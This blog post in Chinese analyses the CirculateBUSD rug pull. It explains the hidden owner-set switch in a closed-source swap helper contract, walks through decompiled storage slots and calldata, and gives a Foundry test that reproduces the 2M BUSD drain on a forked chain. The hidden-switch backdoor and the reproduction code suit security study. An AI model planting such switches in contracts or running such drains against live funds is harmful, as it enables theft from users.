02.RugPull@CirculateBUSD
2023-09-18 11:09:10 # 13.RugPull

RugPull@CirculateBUSD

事件背景

  • 关键词:未开源swapHelper,隐藏开关
  • 时间:2023.01.12
  • 损失:$2.27 Million

交易

资金流向

地址 Token 金额
Circulate Money Rug Pull[ Sender攻击者 ] BUSD +2,000,000
CirculateBUSD[ Receiver土狗合约 ] BUSD -2,000,000

RP合约简析

只有一个CirculateBUSD合约,其他都是interface、library和标准库。方法包括:质押,存款,取款,清算,swap,开盘信息,自动交易。那么用户来玩这个合约的主要目的就是质押生息,或者借款,或者swap

攻击过程

image-20230825180735565

攻击详细分析

正常情况下,用户调用startTrading()是一个交易方法,用于swap。攻击过程1~4步每次调用都会执行。

1
2
3
4
5
6
7
8
9
  function startTrading(address _trader, uint256 _borrowAmount, address _swappedToken) public {
// 静态调用一系列信息,1~4步骤
.....
// 授权给未开源的ISwapHelper(SwapHelper)
IERC20(BUSDContract).safeApprove(SwapHelper, _borrowAmount);
// 开源的ISwapHelper(SwapHelper)进行swap
uint256 swapOutAmount = ISwapHelper(SwapHelper).swaptoToken( BUSDContract,_swappedToken, _borrowAmount);
....
}

由于ISwapHelper(SwapHelper)没有开源,但是具体的攻击步骤是写在这里面的,因此我们将它反编译。这个transferFrom()是正常的,并没有恶意。

image-20230825181238735

然后实际的转账是trasnfer(),然后我们就找到了这里:从图中可以知道,攻击者输入的_borrowAmount一定是等于slot _7的值才会进入攻击流

image-20230825181349785

只有owner可以修改slot_6,7,8:owner调整slot值来让自己获利,进一步验证了项目方随时可以跑路

  • slot_6:受益者地址
  • slot_7:开关值

image-20230825181509389

我们来看一下,最终的这几个slot:

1
2
3
4
5
6
7
8
9
10
11
# pancakerouter
[SlotIndex] 5
[Value] [Hex][0x00000000000000000000000010ed43c718714eb63d5aa57b78b54704e256024e] <=> [Dec][96635033217071433185869069577301221175488545358]

# 受益者(黑客)地址
[SlotIndex] 6
[Value] [Hex][0x0000000000000000000000005695ef5f2e997b2e142b38837132a6c3ddc463b7] <=> [Dec][494316869550535217732822402122055319650864227255]

# 开关值(并不是攻击的时候的开关值,黑客攻击之后又调用修改了一次)
[SlotIndex] 7
[Value] [Hex][0x000000000000000000000000000000000000000000000036ea32f4e55eb40000] <=> [Dec][1013000000000000000000]

那么,黑客肯定调用过这个方法,我们来找一下,可以发现,总共调用了三次,并且调用完之后就没其他交易了,说明攻击完成了,大家都知道项目方捐款跑路了,然后就没交易了。

image-20230825182236343

我们按顺序分析这三个交易的calldata:可以看到,攻击者调用三次,只是为了修改slot_7,而slot_6(pancakerouter)和slot_8并没有修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 第一次
0x4b2d25ef
0000000000000000000000005695ef5f2e997b2e142b38837132a6c3ddc463b7
000000000000000000000000000000000000000000002a5a058fc295ed000000
0000000000000000000000000000000000000000000000000000000000002710

# 第二次
0x4b2d25ef
0000000000000000000000005695ef5f2e997b2e142b38837132a6c3ddc463b7
00000000000000000000000000000000000000000001a784379d99db42000000 // (*)
0000000000000000000000000000000000000000000000000000000000002710

# 第三次
0x4b2d25ef
0000000000000000000000005695ef5f2e997b2e142b38837132a6c3ddc463b7
000000000000000000000000000000000000000000000036ea32f4e55eb40000 // 发现和目前的slot_7的值一致
0000000000000000000000000000000000000000000000000000000000002710

对比攻击时候的calldata可以发现,它的startTrading()的参数_swappedToken和slot_7的值一样,也就是匹配到了攻击开关值,进入攻击的条件流。

1
2
0x63437561
000000000000000000000000e9e7cea3dedca5984780bafc599bd69add087d56 000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c 00000000000000000000000000000000000000000001a784379d99db42000000 // 发现和(*)的一样,此次交易会进入到transfers

说明发起攻击之前,黑客调用了0x4b2d25ef()作为攻击之前准备

image-20230825182839420

其他:个人感觉这个设置受益者开关和受益者地址的方法多余,直接硬编码都没关系或者在构造器期间赋值就好。攻击者相信用户输入的值不回匹配到开关值,就算匹配到了,获利的也是黑客,属于是帮黑客攻击了。

复现

github

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

contract Attacker is Test {

// 土狗合约
ICirculateBUSD public CirculateBUSD = ICirculateBUSD(address(0x9639D76092B2ae074A7E2D13Ac030b4b6A0313ff));
// 攻击者
// BUSDC
IBUSDC busdc = IBUSDC(address(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56));
address public attacker = 0x5695Ef5f2E997B2e142B38837132a6c3Ddc463b7;
// 为开源的swap合约,开关隐藏在这
address public swapToToken = 0x112F8834cD3dB8D2DdEd90BE6bA924a88F56Eb4b;

function setUp() public {
vm.createSelectFork("bsc", 24_715_926);

vm.label(address(CirculateBUSD), "CirculateBUSD");
vm.label(address(attacker), "attacker");
vm.label(address(swapToToken), "swapToToken");
}

function test_Exploit() public {
vm.startBroadcast(address(attacker));

uint256 beforeAttack = busdc.balanceOf(address(attacker));
console.log("before attacker balance:", beforeAttack);

// 攻击之前得设置一下slot_7
bytes memory data = abi.encodePacked(
bytes4(0x4b2d25ef),
bytes32(0x0000000000000000000000005695ef5f2e997b2e142b38837132a6c3ddc463b7),
bytes32(0x00000000000000000000000000000000000000000001a784379d99db42000000),
bytes32(0x0000000000000000000000000000000000000000000000000000000000002710)
);
uint size = data.length;
address x = address(swapToToken);
assembly{
switch call(gas(), x, 0, add(data,0x20), size, 0, 0)
case 0 {
returndatacopy(0x00,0x00,returndatasize())
revert(0, returndatasize())
}
}

// 发起攻击
CirculateBUSD.startTrading(0x5695Ef5f2E997B2e142B38837132a6c3Ddc463b7,
0x1a784379d99db42000000,
0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);

uint256 afterAttack = busdc.balanceOf(address(attacker));
console.log("after attacker balance:", afterAttack);

assertEq(afterAttack, beforeAttack + 2000000000000000000000000);

vm.stopBroadcast();
}

}

建议

在关键的方法中涉及外部合约调用,如果合约没有开源则必须谨慎

Prev
2023-09-18 11:09:10 # 13.RugPull
Next